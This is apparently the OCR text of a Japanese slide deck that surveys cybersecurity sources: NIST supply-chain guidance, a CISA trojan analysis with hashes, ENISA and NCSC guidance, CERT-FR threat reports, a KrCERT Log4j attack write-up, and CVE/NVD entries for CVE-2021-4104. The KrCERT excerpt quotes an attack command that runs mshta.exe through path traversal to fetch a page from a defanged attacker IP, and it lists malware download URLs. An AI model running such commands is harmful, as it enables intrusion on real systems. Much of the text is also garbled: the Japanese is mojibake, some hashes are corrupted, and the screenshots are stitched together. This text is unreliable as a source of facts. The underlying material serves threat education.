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NIST Special Publication
NIST SP 800-161r1

Cybersecurity Supply Chain Risk
Management Practices for Systems
and Organizations

Jon Boyens
Angela Smith
Nadya Bartol
Kris Winkler

Alex Holbrook
Matthew Fallon

This publication is available free of charge from:
https://doi.org/10.6028/NIST.SP.800-161r1

NIST

National Institute of
Standards and Technology
U.S. Department of Commerce

EKFER*2DHA RSA>dD 1D
[NIST SP800-161r1 Cybersecurity Supply Chain Risk

Management Practices For Systems and Organizations| *3 ,
1 https://www.nist.gov/

32 2022/06/01 BFem
%3 https://nvipubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf
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CISA

KE CISA (X ZEREEYAM/N\—tEX2 T4 MV ITFZANIIFvEF)T4T)X Tl Alert,
Analysis Report. ICS-CERT Advisory ZLEFFEL TS,

Findings
12db8bcee090521ecf852bf215ce3878737517a22ef1f2ffobdec7cba8d0d3aa NG 2 NG 3
Tags ICS Advisory (ICSA-21-334-02) tore S CERT Adsores
trojan . s . .
m— Mitsubishi Electric MELSEC and MELIPC Series (Update C)
etails

Original release date: June 07,2022
Name = goopdate.dll

Size 90624 bytes Pt | (9 Tweet| WS
Type = PE32 executable (DLL) (console) Intel 80386, for MS Windows
MD5  a27655d14b0aabec8db70ae08a623317 Legal Notice
SHAL  8344f2c1096687ed83c2bbad0e6e549a71b0c0bl Alinformation products included in https: isa.gov/ics are provided "as is" for i Iy. The of Homeland Security (DHS) does not provide any warranties of any kind
SHA256 1 lecf852bf215ce3878737517a22ef1 cbal regarding any information contained within. DHS does not endorse any commercial product or service, referenced in this product or otherwise. Further dissemination of this product is governed by the Traffic
SHA512  3c9fa512e7360feccadb3l 1950a21a3a1f529bbc0a1323cc3b4c8d1bfo5achIceaa74cf135a56c0e761976f17326594ced Light Protocol (TLP) marking in the header. For more information about TLP, see https//us-cert.cisa.gov/tlp/.
8¢89117b1700514

ssdeep = 1536:Ggw+CKmmOMWE1k4XGt2EkxtNh7aZgvADsW/cd+32UVGHgz:RCBTDELkrt2Ebg5+32UQHgz
Entropy 6.359392

1. EXECUTIVE SUMMARY

Antivirus
ESET  avariant of Win32/Agent ACHN trojan © CUSSV3T.5
5 o ATTENTION: i y attack ¢
Symantec  Trojan Horse I .
* Vendor: Mitsubishi Electric
Trend Micro  Trojan.928E7209 « Equipment: MELSEC and MELIPC Series
Trend Micro HouseCall  Trojan.928E7209 * Vulnerabilities: Uncontrolled Resource Consumption, Improper Handling of Length Parameter Inconsistency, Improper Input Validation
YARA Rules 2. UPDATE INFORMATION

No matches found. This updated advisory is a follow up to the advisory update titled ICSA-21-334-02 Mitsubishi Electric MELSEC and MELIPC Series (Update B) that was published April 26,

ssdeep Matches 2022, to the ICS webpage on cisa.gov/ics.
No matches found.
3. RISK EVALUATION
GEMctadata of these ilities may allow a remote attacker to cause a denial-of-service condition. A system reset is required for recovery.

Compile Date  2020-09-23 02:02:48-04:00
Import Hash  132491700659f9b56970a9b12cbbb348

Analysis Report ICS-CERT Advisory
(NWILD T 77 EEFEER) (FE > R > ADRESFHEER)

Alert CEEMEEE) (CDULTIE Practice /\— hTEULBNIT S

X1 https://www.cisa.gov/

%2 https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a
33 https://www.cisa.gov/uscert/ics/advisories/icsa-21-334-02
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4.3 PRACTICAL USE OF STANDARDS AND METHODOLOGIES

Risk management standards and methodologies can be used for several purposes in an entity:

e Setting up or reinforcing a management process for the digital risk within an

organisation,

e Assessing and treating the risks relating to a digital project, in particular with the aim of

a security accreditation,

« Defining the level of security to be achieved for a product or service according to its
particular uses and the risks to be countered, from the perspective of certification or

accreditation for example.

Before going on to the different steps of a practical implementation, it is important to understand

the two main actors of the ICR possible risks, threat agent and the asset

1) The flow from threat agent to exposure of the asset

* White hot hacker
* Testlob’s

confirms

can
creates * exploits Q leads to g affect

THREAT AGENT THREAT VULNERABILITIES RISK
. . * Meltdown + DDoS

. organ!sed crime « slide attack and Spectre s Boothist

* terrorists +SCP 02

* malicious

organisation
« skilled hackers

SCP: Secure Channel Protocol
DDoS: Distributed Denial of Service

).
-

ASSET

200

150

100

and
causes ‘

EXPOSURE

AN 2 Figure 4: Targeted sectors per number of incidents (April 2020-July 2021)

X3

All Sectors

m Transport

W Water utilities

m Construction

m Digital Service Providers
Education/Academic

u Energy

B Finance/Banking

m Food

m General public

W Healthcare/Medical

W Legal

W Media/Entertainment

| Military
Postal & Courier Services
Public administration/Government
Semiconductor

m Software supply chain
Space

W Targeted individuals

1 https://www.enisa.europa.eu/

32 https://www.enisa.europa.eu/publications/risk-management-standards/@ @download/fullReport P.30
33 https://www.enisa.europa.eu/publications/enisa-threat-landscape-2021/@ @download/fullReport P.13
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Cloud security guidance X2 S X3
How to choose, deploy and use cloud services securely. Bu"ding a security Operdtions

reger Centre (SOC)

Cloud security guidance i o . . o -
Guidance to help organisations design a SOC and security monitoring capability

Introduction to cloud proportionate to the threat they face, their resources and assets.
security
Pages PAGE10F 14
Understanding cloud &

services

Building a Security
Operations Centre (SOC)

Choosing a cloud

Operating Model +
provider
Onboarding systems and +
The cloud security £ log sources
principles
Detection +
PUBLISHED

Threat Intelligence

17 November 2018
Incidents (incident

REVIEWED Management)
10 May 2022
PUBLISHED
VERSION 23 May 2022
20
REVIEWED
WRITTEN FOR 23 May 2022
Cyber security professionals
L isati VERSION
arge organisations . -
e 10 Why have a Security Operations Centre?
Small & medium sized
organisations WRITTEN FOR

Security Operations Centres (SOCs) can vary widely in scope, but most are responsible for
Large organisations detecting andresponding to cyber attacks.
Public sector

Public sector

X1 https://www.ncsc.gov.uk/

32 https://www.ncsc.gov.uk/collection/cloud

2% 3 https://www.ncsc.gov.uk/collection/building-a-security-operations-centre



https://www.ncsc.gov.uk/collection/building-a-security-operations-centre
https://www.ncsc.gov.uk/collection/cloud
https://www.ncsc.gov.uk/

ICSCoE TLP:WHITE [ 5 #7)

A4+ CERT

BEENRETIIGOED CERT £ REBE TR AV MREITLTVSEELH D,
_CTlIHIEL T, 752 XM National CERT T#h 5D CERT-FR*! #2119 5,

S0 Cop
o

*ve

||||M|||||

\

o,
K
g

ndusg, 8

52 %3

1. Infection chain 4 Conclusion

A full list of the techniques, tactics and procedures observed during the various compromises can be found in Lockean’s targeting is opportunistic and dependent on the distribution services it employs (Emotet, TAS51).

appendix A.2. Nevertheless, Lockean has a propensity to target French entities under a Big Game Hunting "’ [1, 4, 2] ratio-

nale and therefore represents a threat to watch out for.

1 1 RBC[]H n a| Ssance Comment: Interestingly, despite being affiliated with ransomware that precludes targeting of entities located in Com-
e monwealth of Independent States (CIS) countries, Lockean attacked the French transport company Gefco in 2020, even
though Gefco is 75% owned by Russian Railways. Therefore, it is possible that Lockean was not aware of violating the

111 weh thSiﬂg “rules of engagement” - widely respected- for ransomware it uses.
An analysis of the traffic coming from the attacker’s anonymisation infrastructure described in section 2 shed light .
on some reconnaissance actions.
® °
Several connections have been identified corresponding to straightforward browsing on legitimate websites, with
no links to any traces of or attempts at intrusion. & '! L]

Techniques, tactics and procedures used: ®- ”.

T1593.002 | Search Open Websites/Domains: Search Engines | Use vitimes website to collect information

[ i ‘ T1594 | Search Victim-Owned Websites Use vitimes website to collect information .< '.
./ e e
. s .— - N
1.1.2. Spearphishing e & ®
APT31 has been using the GMass service since at least 2018 for some phishing campaigns. o ‘ ,g
P ®\.
Techniques, tactics and procedures used: bt *
Comment ,‘! \
Reconnaissance | T1598.003 | Phishing for Information: Spearphishing Link | 0 pixel image 4

Fig. 4.1 - OpenCTl illustration of the Lockean attacker group

X1 https://www.cert.ssi.gouv.fr/
%2 https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-013.pdf P.4
23 https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf P.19
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1. T1203: Exploitation for Client Execution

/ Methods and Types of
\ / . . +» Downloads and executes the malicious file by running mshta.exe through the vulnerabilities of a specific software
- EXplOltﬂtlon program.

+ Executes the malware with the privilege of the program (user privilege).
« TigerDownloader is installed and executed through page.html.

1l Components of Attack Infrastructure

Attackers need to make a few preparations fOI’ epriting the L°g4j vulnerabilities. . C:\Program Files(x86)\Unidocs\ezPDFReader2. OG\ /../../Windows/System32/mshta.exe hxxp //34.221.66.xx/page.html” /pnnt

They need an attack query sending server, a query receiving server, a malicious class sors Z20Y R Z2 #0748 59 48 A1W Z20%(mshta.exe) mshta.exe® S8 48 & Ho[x|
file distribution server, and a malware distribution server to accomplish their ultimate

goal. To secure such attack resources, attackers may purchase servers directly or History of Attacks Occurring in the Program Log (ezPDFWSLauncher.log)

secure such servers by hacking servers operating normal services. 05/25/2021, 10:40:36 » Time of malware execution | 05/26/2021, 10:23:00 » Time of malware execution
05/25/2021, 10:40:36 05/26/2021, 10:23:00
05/25/2021, 10:40:36 05/26/2021, 10:23:00
ral fud = . o
& = b 05/25/2021, 10:40:36 05/26/2021, 10:23:00
) . u- % 05/25/2021, 10:40:36 05/26/2021, 10:23:00
Query sending Query Class file distribution ~ Malware distribution 05/25/2021, 10:40:36 05/26/2021, 10:23:00
server receiving server server server 05/25/2021, 10:40:36 05/26/2021, 10:23:00
CreateProcessAsUser, sid = 1, pid = x0xx CreateProcessAsUser, sid = 1, pid = xoxx

- Query sending server: As a server that sends attack queries, the part where Log4j
vulnerabilities are used the most is the logging function of Java—based web servers.

) . . ) . Date DST IP DST Port URL Remarks
It is possible to send queries with a system available for web access.
hxxp://34.221.66.xx/page. html
< i . . Download
Query receiving server: Once a JNDI attack command succeeds, queries are sent 2021-05-25 | 34.221.66xx hxxp://34.221.66.xx/Isdev.exe

to the query receiving server established by the attacker. Representative query . ’ Y
10:40 ~ 15:22 |  (Amazon) hxxp://34.221.66.%¢/StSess_Update.phi
receiving services used for exploiting vulnerabilities include LDAP and RMI. To avoid il JESEes Soenie St

3 . . 5 s N ; execution
tracing, most attackers establish attack query services by hacking servers operating hxxp://34.221.66.xx/ASDClient. php

normal services. Their attack patterns change depending on the composition of
service programs.

%1 https://www.krcert.or.kr/main.do
X2 https://www.krcert.or.kr/filedownload.do?attach file seq=3542&attach file id=EpF3542.pdf P.13
%3 https://www.krcert.or.kr/filedownload.do?attach file seq=3451&attach file id=EpF3451.pdf P.12
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Figure 3: The simplified infection chain.

The Root Causes of Attacks X2

Itis not always possible, or easy, to identify the root cause of an attack. Sometimes the attackers have
intentionally deleted evidence of their activity and sometimes the IT security team has already wiped or re-
imaged compromised machines by the time the responders arrive. Despite this, the evidence shows that
among the incidents investigated by Sophos, the exploitation of unpatched vulnerabilities - such as

ProxyLogon or ProxyShell - were the root cause for almost half (47%) of cyberincidents investigated in 2021.

Root Cause of Attacks

W Exploited Vulnerability 47% Compromised Credentials 5%
W Unknown 36% Brute Force Attack 3%
Phishing 8% M Download 1%

21 https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/
32 https://news.sophos.com/en-us/2022/06/07/active-adversary-playbook-2022/
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5.4 Process Explorer analysis

After executing the malware sample, new process 1102231642.exe almost instantaneously appears in
the process list.

B csss.exe 118 1312K 3932K 408
] wirlogon exe 1628K 34%K 448
=] 01 35244 K 46,592K 1596 Windows Explorer Microsoft Corporation
002 1.124K 3.736K 572 VitualBox Guest Addtions Tr... Oracle Corporation
007 1620K 6.496K 928 FileZlla Server FileZila Project
<001 39.112K 53.880K 1400 Greenshat Greenshot
349 9.300K 15,804 K 3716 Sysirtemals Process Explorer  Sysintemals - www.sysinter...
052 6.132K 10.772K 1252
<001 9.568 K 17.532K 3732
ok 2s EE

CPUUsage:7.28%  Commit Charge: 1585% Processes: 38 Physical Usage: 31.52%

Figure 57. New malware process.

Process Explorer uses a distinct colour scheme to highlight various processes®. By default blue colour
indicates that process is running in the same security context as Process Explorer. Pink colour indicates
that process is hosting one or more Windows services. Purple means that process image has been
most likely packed or compressed. Green and red colours points to new processes or the ones, that
just exited.

Soon after the main malware process starts, it spawns four child processes: win32.exe, explorer.exe,
debug.exe, sysedit.exe (random names, different in each analysis). Names of child processes suggests
that those might be some system processes — which is one of the techniques sometimes used by
malware to mislead system user. After spawning child processes malware process quits (red colour).

csssene 162 1312K 394K 408
] winlogon exe 1628K 349K 44 (8}
= [ @plorerexe 875 35172K 46,564 K 159 Wind%s Explorer Microsoft Corporation
VA VBoxTray exe 0.02 1.124K 3.736K 572 VitualBox Guest Addtions Tr... Oracle Comporation
| FileZilla Server Interface.exe 0.05 1620K 6.496K 928 FieZlla Server FileZila Project
] Greenshot exe 0.01 42700 K 57512K 1400 Greenshot Greenshot
& procexp.exe 849 9424 K 16.012K 3716 Sysintemals Process Explorer  Sysintemals - www.sysirter...
i Topview exe 043 6.132K 10.772K 1252
legshotx86-Unicode exe 9.568 K 17532K 3732

200 976 K 2,696 K
1836 K 5.916 K
1036 K 3.004K
1.040K 3.036K
030 1,036 K 3,004 K

CPU Usage: 2344% Commit Charge: 1611% Processes: 41 Physical Usage: 32.03%

Figure 58. process ing child pr

X2

7. Disk analysis .

7.1 Mounting Windows partition and creating the timeline
When proceeding to disk analysis, it is worthwhile to use both Autopsy** (graphical interface to
The Sleuth Kit toolkit) as well as mount analysed partitions in the local filesystem. Mounting partitions in the
local filesystem allows analyst to use standard Linux tools (grep, find) when inspecting analysed filesystem.

Students should start with listing partitions present on disk image.

File Edit V Se: Terminal Help

enis 1 :/media/sdbl/wi
C n Tabl

raining: /mediz

Figure 24: Partitions

The main Windows partition is the partition 003 starting at sector 0001026048 (byte offset = 525336576 =
1026048*512). Students should mount it at /mnt/part_c:.

Edit View h  Terminal
training:/media
training: /m

training: /m

enisafitraining: /media/sc

Figure 25: Mounting

Provided mount options specify to mount partition as read-only as well specify starting offset of the
partition in disk.raw image (checked in the previous step).

X3

21 https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material

X2 https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/documents/artifact-analysis-fundamentals-handbook P.31

%3 https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/documents/2016-resources/exel forensic analysis i-handbook P.27
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Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities
established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant

risk to the federal enterprise.

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities
hEEA4EE —pestablished the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant

risk to the federal enterprise.

=H B
A (%_'”B) Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities
ERTE established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant
risk to the federal enterprise.

¥

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities
g 4o Lo established the Known Exploited Vulnerabilities Catalog as a living list of known CVEs that carry significant
i E,]hjz, ctz | risk to the-federal enterprise.
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The Framework provides a common language for understanding, managing,
and expressing cybersecurity risk to internal and external stakeholders.

¥

The Framework provides a common language
CDIL—LT—D BB B

for understanding, managing, and expressing cybersecurity risk
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to internal and external stakeholders.
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16 MAY 2022 | NEWS

US Manufacturing Giant Parker Hit by Conti Ransomware

Gang

TENRED be F5E (Was) MEREN TS

%2
NIST updates guidance for defending against supply-chain attacks

BEDZ EZBERTRIELTND

1 https://www.infosecurity-magazine.com/news/parker-conti-ransomware/
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Ukraine supporters in Germany targeted with PowerShell RAT Pandora Ransomware Hits Giant x
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Recorded Future [Overview of the 9 Distinct Data Wipers Used in the Ukraine Warl * P.1

This report serves as a high-level comparative overview of the 9 wipers Key Judgments ng\_
: . SFTR

analyzed by Insikt Group in association with the ongoing Ukraine/Russia war. It

is meant to provide insight into the similarities and differences between the tools . . . . .
and the geopolitical implications of their development and usage. The intended * 6ofthe wipers associated with the Ukraine/Russia

audience of this report is those looking for a high-level technical overview of the conflict analyzed by Insikt Group all serve the same
wipers. Sources used include reverse engineering tools, OSINT, the Recorded high—level destructive purpose of rendering a Windows
Future® Platform, and PolySwarm. N A . .

machine inoperable; the other wipers targeted Linux
systems (including satellite modems).

Executive Summary

S . | - ] ) ) ) ) o ) e The wipers do not share obvious code similarities
IO 05« j"j'\_(' ) —While the Ukraine/Russia war is primarily a kinetic conflict, between them and are unlikely to be iterations on, or new

several destructive data wipers targeting Ukrainian entities versions of, each other.
emerged in the immediate lead-up to and during the first 2-plus
months of the war, bringing the conflict to cyberspace. The
9 wipers analyzed by Insikt Group had the same high-level
destructive goal but differed in technical implementation and
the operating systems they targeted, suggesting that each was a
distinct tool, possibly created by different authors. Over time, the
wipers also became more simplistic at a technical level, including
reductions in the number of stages, the existence of obfuscation,
and attempts to masquerade as ransomware, though none were
at the level of sophistication of some other known Russian state-
sponsored malware.

« HermeticWiper was the only wiper found to be
distributed by a worm component, known as
HermeticWizard. HermeticWizard restricted its spread to
local IP addresses within the victim’s network, preventing
the external distribution seen with other worm incidents
like NotPetya.

* None of the wipers themselves contained any network
connectivity functionality that would permit them to
exfiltrate victim data further, suggesting that their
purpose was targeted destruction of specific entities.

The wiper deployment activity aligns with prior Russian
state-sponsored cyber operations against Ukraine as well as
other nations; these efforts often occur before and during active
conflict and are likely intended to act as a “force multiplier” for
Russian military operations. Ongoing efforts to deploy disruptive
cyber operations against Ukrainian targets show that the Russian
government almost certainly considers such operations to be
valuable, and suggest that these efforts will likely continue.

3% https://go.recordedfuture.com/hubfs/reports/mtp-2022-0512.pdf
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Cybersecurity agencies reveal top initial access attack vectors

By Sergiu Gatlan May 17,2022 11:33 AM 0

A joint security advisory issued by multiple national cybersecurity authorities revealed today the top 10
attack vectors most exploited by threat actors for breaching networks.

The advisory, jointly released by agencies from the United States, Canada, New Zealand, the
Netherlands, and the United Kingdom, includes guidance to mitigate these routinely exploited weak
security controls, poor security configurations, and bad practices.

"Cyber actors routinely exploit poor security configurations (either misconfigured or left unsecured),
weak controls, and other poor cyber hygiene practices to gain initial access or as part of other tactics to
compromise a victim’s system," the joint advisory reads.

3 https://www.bleepingcomputer.com/news/security/cybersecurity-agencies-reveal-top-initial-access-attack-vectors/
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PROPOSAL FOR CYBER CRISIS
MANAGEMENT ORGANISATION™

2.1.3 5G Stakeholders

. e N\ .
X1 STRATEGIC COMPONENT AND UNIT X2
Securit}{_ControIs At Secunty Controls Security Controls Security Controls o thg.fm"t ling with r?g‘;rd t;’ the odsside world, make decisions,Tbitrate’and
hink Build At Run At End of Life coorcinate/abstrateglcileve
@ Crisis director: definition (— Crisis management support:
X4 and orientation of the crisis 9 battle rhythm, briefing,
1] management strategy \;J follow-up on actions
(— Information management: log, ¢ Business, communication,
8 8,
E_“fd of g sharing of information up and ) HR, finance, legal, cyber,
mq i 10 1) down the chain IT, etc.

Anticipation

Strategic/decision-making crisis unit

THINK TEST RUN Units to be activated
DECIDES based on the crisis
AND GUIDES management needs
INFORMS Other

operational units
Resources

HR
The 5G ecosystem relies on several stakeholders that play different roles in its security at

Logistics

different levels. The set of stakeholders selected for this document focuses on entities (either / Communication

Legal

public or private) that are related to 5G networks and vertical industries.

The set has been adapted from the EU Coordinated Risk Assessment on 5G Networks Security Cyber and IT operational crisis unit

and the ENISA Threat Landscape for 5G Networks Updated (2020), as they encompass both

the stakeholders and their role with regards to 5G. They are depicted in the following table. Hardening and o
remediation LSS tRebion

OPERATIONAL COMPONENT AND UNITS

on the front line internally, understand the ins and outs, make decisions at operational/
technical level, implement action plans

@ Cyber/IT manager: definition,

X4| orientation and coordination 66 X

' 11 of IT/cyber operations { Experts: expertise
Y € and coordination

1))y

, Support: management support, ‘

information management, etc.

1 https://www.enisa.europa.eu/publications/5g-cybersecurity-standards/@ @download/fullReport P.13
%2 https://www.ssi.gouv.fr/uploads/2022/05/20220516 np anssi_guide gestion crise cyber en.pdf P.23
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Security update released months after disclosure

While the company updated the security advisory with information on this security update on
Wednesday, the SIM hotfix update kit which resolves the vulnerability was released more than a month
ago, on April 20.

The RCE vulnerability tracked as CVE-2020-7200 was found in the latest versions (7.6.x) of HPE's
proprietary Systems Insight Manager (SIM) software, and it ONLY affects the Windows version.

HPE rated the bug as a critical severity (9.8/10) security flaw as|it allows attackers with no privileges to
exploit it in low complexity attacks that don't require user intergction.

CVE-2020-7200 stems from a lack of proper validation of user-pupplied data that can lead to the
deserialization of untrusted data, making it possible for attackeys to leverage it to execute code on servers
running vulnerable SIM software.

[ CN(E Windows /\—= g > EFICEEULUE I

3 https://www.bleepingcomputer.com/news/security/hpe-fixes-critical-zero-day-vulnerability-disclosed-in-december/
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Directive (EU) 2016/1148

of the European Parliament and of the Council of 6 July 2016 concerning measures

for a high common level of security of network and information systems across the Union*
(LW INIS 155 )

Article 5
Identification of operators of essential services

1. By 9 November 2018, for each sector and subsector referred to in Annex II, Member States identify the operators of
essential services with an establishment on their territory.

2. The criteria for the identification of the operators of essential services, as referred to in point (4) of Article 4, T¥ilbe as follows:
(a) an entity provides a service which is essential for the maintenance of critical societal and/or economic activities;

[shall] THRZTBELEZET (b) the provision of that service depends on network and information systems; and

TR FEIEH (c) an incident would have significant disruptive effects on the provision of that service.
NMOET <o /= 3. For the purposes of paragraph 1, each Member State i¥il]establish a list of the services referred to in point (a) of paragraph 2.

4. For the purposes of paragraph 1, where an entity provides a service as referred to in point (a) of paragraph 2 in two or more
Member States, those Member States TiEllllengage in consultation with each other. That consultation Siillitake place before a
decision on identification is taken.

5. Member States shall, on a regular basis, and at least every two years after 9 May 2018, review and, where appropriate, update
the list of identified operators of essential services.

6. The role of the Cooperation Group Titilbe, in accordance with the tasks referred to in Article 11, to support Member States in
taking a consistent approach in the process of identification of operators of essential services.

7. For the purpose of the review referred to in Article 23 and by 9 November 2018, and every two years thereafter, Member States
H¥Mlsubmit to the Commission the information necessary to enable the Commission to assess the implementation of this Directive,
in particular the consistency of Member States' approaches to the identification of operators of essential services. That information
Hfilinclude at least:

3 https://eur-lex.europa.eu/eli/dir/2016/1148/0j
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Carnegie Mellon University

Software Engineering Institute
CERT Coordination Center

Home Notes Search Report a Vulnerability Disclosure Guidance VINCE

Vulnerability Notes Database

The Vulnerability Notes Database provides information about software
vulnerabilities. Vulnerability notes include summaries, technical details,
remediation information, and lists of affected vendors. Most vulnerability

notes are the result of private coordination and disclosure efforts. For more
comprehensive coverage of public vulnerability reports, consider the National

Vulnerability Database (NVD). CERT/CC also publishes the Vulnerability Notes The CERT/CC Vulnerability Notes

Data Archive on GitHub. Database is run by the CERT Division,
which is part of the Software
Recently Published Vulnerabilities iz g i, 2 s Ly
funded research and development
VU#473698: uClibc, uClibc-ng libraries have monotonically increasing center operated by Carnegie Mellon
DNS transaction ID University. Together, we are leaders in
MAY 08, 2022 cybersecurity, software innovation,

and computer science.

VU#730007: Tychon is vulnerable to privilege escalation due to
OPENSSLDIR location

APRIL 28, 2022

CERT DIVISION »

VU#411271: Qt allows for privilege escalation due to hard-coding of
qt_prfxpath value

X https://kb.cert.org/vuls/
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VU#930724 Apache Log4j allows insecure JNDI lookups*
Apache Solr D&

« Apache Solr "_ Affected: ?ﬁ@f%%ﬁ'%

Notified: 2021-12-17 + Updated: 2021-12-22

Statement Date: December 21, 2021

CVE-2021-4104 CVE-2021-4104 & CVE-2021-44228
CVE-2021-44228 < DEELZ(TAN
CVE-2021-45046 DFZE (I (TR0

CVE-2021-45046

Vendor Statement

Apache Solr releases prior to 8.11.1 were using a bundled version of the Apache Log4] library
vulnerable to RCE (see CVE-2021-44228). Malicious input from a user-supplied query string (or
any other URL request parameter like request handler name) is logged by default with log4;.

Apache Solr releases prior to 7.4 (i.e. Solr 5, Solr 6, and Solr 7 through 7.3) use Log4J 1.2.17 which
may be vulnerable for installations using non-default logging configurations that include the JMS

>S5 —DERR Appender (see CVE-2021-4104).
[=PAN
(Td\b \iﬁ :655) In response to the vulnerabilities, the Apache Solr team released version Solr 8.11.1 that bundles

log4j 2.16.0. An update to 2.17.0 (or later) will be done with the next maintenance release as Solr
is not vulnerable to CVE-2021-45105 (see below).

Apache Solr releases are not vulnerable to the followup CVE-2021-45046 and CVE-2021-45105,
because the MDC patterns used by Solr are for the collection, shard, replica, core and node
names, and a potential trace id, which are all sanitized and injected into log files with "%X".
Passing system property log4j2.formatMsgNoLookups=true is suitable to mitigate.

X https://kb.cert.org/vuls/id/930724
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NVD

Go to for:

CVSS Scores
CPE Info

Search CVE List Downloads Data Feeds Update a CVE Record Request CVE IDs
TOTAL CVE Records: 176809

NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG is underway and will last up to one year. (details)

NOTICE: Changes coming to CVE Record Format JSON and CVE List Content Downloads in 2022.

Search CVE List

You can search the CVE List for a CVE Record if the CVE ID is known. To search by keyword, use a specific term or multiple keywords
separated by a space. Your results will be the relevant CVE Records.

View the search tips.

| CVE-2021-4104

| Submit |

X https://cve.mitre.org/cve/search cve list.html
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CVE-2021-4104% Z4{§|IZ. CVE DERAR—S DA HEfREHT B,

NVD (&) DI HR—AD U >0

CVE ID CVE-2021-4104 Learn more at National Vulnerability Database (NVD)

* CVSS Severity Rating e Fix Information e Vulnerable Software Versions ¢ SCAP Mappings ¢ CPE Information

JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The
_ attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that
*E%EEE HH > | result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use

A JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses
numerous other issues from the previous versions.

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

e CERT-VN:VU#930724
e URL:https://www.kb.cert.org/vuls/id/930724
o CONFIRM:https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0033
e URL:https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0033
o CONFIRM:https://security.netapp.com/advisory/ntap-20211223-0007/
%Yﬁﬁ e URL:https://security.netapp.com/advisory/ntap-20211223-0007/
* E—| Y MISC:https://access.redhat.com/security/cve/CVE-2021-4104
o URL:https://access.redhat.com/security/cve/CVE-2021-4104
o MISC:https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
* URL:https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126
e MISC:https://www.cve.org/CVERecord?id=CVE-2021-44228
e URL:https://www.cve.org/CVERecord?id=CVE-2021-44228
o MISC:https://www.oracle.com/security-alerts/cpuapr2022.html
e URL:https://www.oracle.com/security-alerts/cpuapr2022.html
e MISC:https://www.oracle.com/security-alerts/cpujan2022.html

‘ RAR— AL

3 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104
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CVE-2021-4104% Z{§lIZ. CVE QERBAR—S D R AEEHRT S,

BEEZEDIRE>TZ
CNA (EEEHERS)

Assigning CNA
—_ “ . Apache Software Foundation
T 9 I/ :I - '\EEEE E Date Record Created

(Hf- %gll'ﬂE/A\Fﬁ E —\A_') ) | 20211213 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not
LR Eis necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or

FELUZBA &FEERZW) Updated In CVE.

Phase (Legacy)
Assigned (20211213)

Votes (Legacy)
- —

%lj D % _Cllﬁiﬂ‘ C‘: Comments (Legacy)
Zo=xH7TH

Proposed (Legacy)

. N T
Assigned 185, N/A
(_O)é"? (j: CNA (L_ This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.
iu D % —C:§ SEARCH CVE USING KEYWORDS: | | ('submit
= / You can also search by reference using the CVE Reference Maps.

For More Information: CVE Request Web Form (select "Other" from dropdown)

3 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104
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CVE Web X—CICEAT B ER

CVE D Web R—IUAFIATARICIZVONBERAIHADTITHEBNT 5,

® ROAKRTHENR—IHWEFETEITDIIEEIHSD
« RAFRD CVEID [CDVWTH. [FEAEZDR—HFELTUVNDC
ENHD
« Description ([CTFDEUEFFDA Y Z—IHRRSHNTUVIZSRATR
o NTIZBDIESSIHIFERU DS
« CVE @ Web R—Z[CIBIHNMEEH =N DDEAKE
. TDITEH. EEREHNSELFERIEHINITHIE /R E.
RAOFROMESSEICE U CENMDIBHRZED Z EETEAR)
o H{I(IhessIFIFEROLAFTRHE TILIRLN
- Date Record Created Y Assigned Date (FAEF54IBIROAFRHTI(E
A A
- HEDODFABRITHENHBDRWVBEHRIZDTRIC UIRWC &' LR

** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When
the candidate has been publicized, the details for this candidate will be provided.

3 5| T https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1501 2022/06/01 FFs
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NVD

K [E NIST D NVD (National Vulnerability Database) *TC. Mi53& DEEMEEETE S,
KBEIZIE CVE DT —AR—RXKLYLFFEHANMN D,

suuvlly re,,,_
»

"ﬂlr ‘ “ i

Y,

sy

N ISI- = NVD MENU

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE NVD

VULNERABILITIES

Search Vulnerability Database

Try a product name, vendor name, CVE name, or an OVAL query.

NOTE: Only vulnerabilities that match ALL keywords will be returned, Linux kernel vulnerabilities are categorized separately from vulnerabilities in specific Linux distributions.
Search results will only be returned for data that is populated by NIST or from source of Acceptance Level "Provider".

Search Type Contains HyperLinks
@ Basic O Advanced [J US-CERT Technical Alerts

[ US-CERT Vulnerability Notes
Results Type [] OVAL Queries

@ Overview O Statistics

Keyword Search

CVE-2021-4104
[J Exact Match

Search Type
@ AllTime O Last 3 Months

